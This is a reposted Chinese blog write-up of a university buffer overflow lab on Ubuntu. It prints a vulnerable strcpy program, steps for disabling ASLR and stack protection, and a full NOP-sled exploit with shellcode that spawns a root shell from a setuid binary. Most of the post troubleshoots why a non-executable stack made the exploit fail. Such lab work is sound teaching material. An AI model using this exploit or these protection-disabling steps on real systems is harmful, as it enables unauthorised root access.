Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

摘要:
缓冲器溢出攻击实验题目:下边的代码摘自《黑客攻防技术宝典——系统实战篇(第2版)》2.5节,攻击该代码,获得root权限,实现相应的效果。这样当攻击成功后,就可以从宿主程序派生出继承到root权限的shell。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。bash下用readelf命令可以分析程序的存储结构。

缓冲器溢出攻击实验题目:

下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。

1 int main(int argc, char *argv[]) 2 { 3 char little_array[512]; 4 if(argc>1) 5 strcpy(little_array,argv[1]); 6 }

实验步骤:

1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。

cat /proc/sys/kernel/randomize_va_space

2) 利用 find_start 函数可以找出 ESP 的地址。

1 //find_start.c2 3 #include <stdlib.h>4 5 #include <string.h>6 7 unsigned long find_start(void)8 9 {10 11 __asm__("movl %esp, %eax");12 13 }14 15 intmain()16 17 {18 19 printf("0x%x/n",find_start());20 21 }

如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。

如果地址不同,则需要禁用ASLR(Address space layout randomization):

sudo sysctl -w kernel.randomize_va_space=0

3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。

4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:

1 #include <stdlib.h>2 3 #include <stdio.h>4 5 #include <string.h>6 7 #define DEFAULT_OFFSET 08 9 #define DEFAULT_BUFFER_SIZE 60010 11 #define NOP 0x9012 13 char shellcode[] =14 15 "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46"16 17 "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1"18 19 "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68";20 21 unsigned long get_sp(void) {22 23 __asm__("movl %esp,%eax");24 25 }26 27 int main(int argc, char *argv[])28 29 {30 31 char *buff, *ptr;32 33 long *addr_ptr, addr;34 35 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;36 37 inti;38 39 if (argc > 1) bsize = atoi(argv[1]);40 41 if (argc > 2) offset = atoi(argv[2]);42 43 if (!(buff =malloc(bsize))) {44 45 printf("Can't allocate memory./n");46 47 exit(0);48 49 }50 51 addr = get_sp() -offset;52 53 printf("Using address: 0x%x/n", addr);54 55 ptr =buff;56 57 addr_ptr = (long *) ptr;58 59 for (i = 0; i < bsize; i+=4)60 61 *(addr_ptr++) =addr;62 63 for (i = 0; i < bsize/2; i++)64 65 buff[i] =NOP;66 67 ptr = buff + ((bsize/2) - (strlen(shellcode)/2));68 69 for (i = 0; i < strlen(shellcode); i++)70 71 *(ptr++) =shellcode[i];72 73 buff[bsize - 1] = '/0';74 75 memcpy(buff,"BUF=",4);76 77 putenv(buff);78 79 system("/bin/bash");80 81 }

5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,

Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。

实验遇到的问题和解决:

1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。

后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。

2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。

3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。

实验分组

攻击程序

被攻击程序

溢出成功?(Y/N)

1

nopattack1

victim1

N

2

nopattack2

victim2

Y

3

nopattack1

victim2

Y

4

nopattack2

victim1

N

通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。

4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。

5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。

clip_image002

左 边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异 估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。 拿各程序对比,发现均有这个问题,估计是症结所在。

6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。

readelf -a re>profile_re

readelf -a rootecho>profile_rootecho

将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。

clip_image004

左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。

显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。

7、 不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽 然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。

8、解决方案:

1)在本地安装execstack

安装命令:sudo apt-get install execstack

2)用execstack修改程序堆栈的可执行属性。

修改命令:execstack -s victim

3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。

实验问题总结:

gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可 以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令

如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。

后记:

其 实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方 法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析 前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。

免责声明:文章转载自《Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇CMD命令速查手册AndroidStudio自定义TODO下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

[转载]su认证失败

Ubuntu 安装后,root用户默认是被锁定了的,不允许登录,也不允许 "su" 到 root。有人说这是个不好的实践,特别是对于服务器来说。我觉得对于桌面用户来说,这样安全性更高一些,是应该的;但对于服务器可以设置成允许 "su" 到root,但不允许root用户直接登录”。而我为了开发时的方便,则在桌面和服务器上都采用这种方式。   问题:su认证失...

Linux系统的相关知识、常用命令及拓展、centos 7网卡配置

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)   一、Linux系统的相关知识 1.Linux中根目录下所有文件夹的含义和用途 目录 功能 /bin 存放可执行文件 /dev 存放设备文件 (如:网卡、CPU) /media 存放可移除设备文件 (如:U盘、CD/DVD、VMTools) /opt 存放...

启动hadoop时报root@localhost's password: localhost: Permission denied, please try again.错误。

背景:在装完hadoop及jdk之后,在执行start-all.sh的时候出现root@localhost's password:localhost:permission denied,please try again。 解决方案: 1.修改root密码:#sudo passwd root 2.辑配置文件,允许以 root 用户通过 ssh 登录:sudo...

awk命令使用方法

1、基本语法 awk '{pattern + action}' {filenames} awk语法中pattern表示在数据中查找的内容,而action是在找到匹配内容时所执行的一系列命令。花括号({})不需要在程序中始终出现,但它们用于根据特定的模式对一系列指令进行分组。pattern就是要表示的正则表达式,用斜杠括起来。 2、awk原理 awk 对输入...

Aho

Aho - Corasick string matching algorithm 俗称:多模式匹配算法,它是对 Knuth - Morris - pratt algorithm (单模式匹配算法) 形成多模式匹配算法的一种改进,如果我们用单模式匹配算法实现多模式匹配算法,假如模式串有 M 个 , 则需要重复调用 M 次单模式匹配算法 ; 举个很简单的例子,...

Linux 和Windows之间命令行实现目录或文件互传

Linux 和Windows之间命令行实现目录或文件互传 在linux中,我们常用scp命令传输文件: 如以下实例,我们想把当前服务器文件abc.sql传输到192.168.1.1服务器上 我们可以执行以下命令: scp /home/person/hww/abc.sql root@192.168.1.1:/home/person/hww  回车后输入...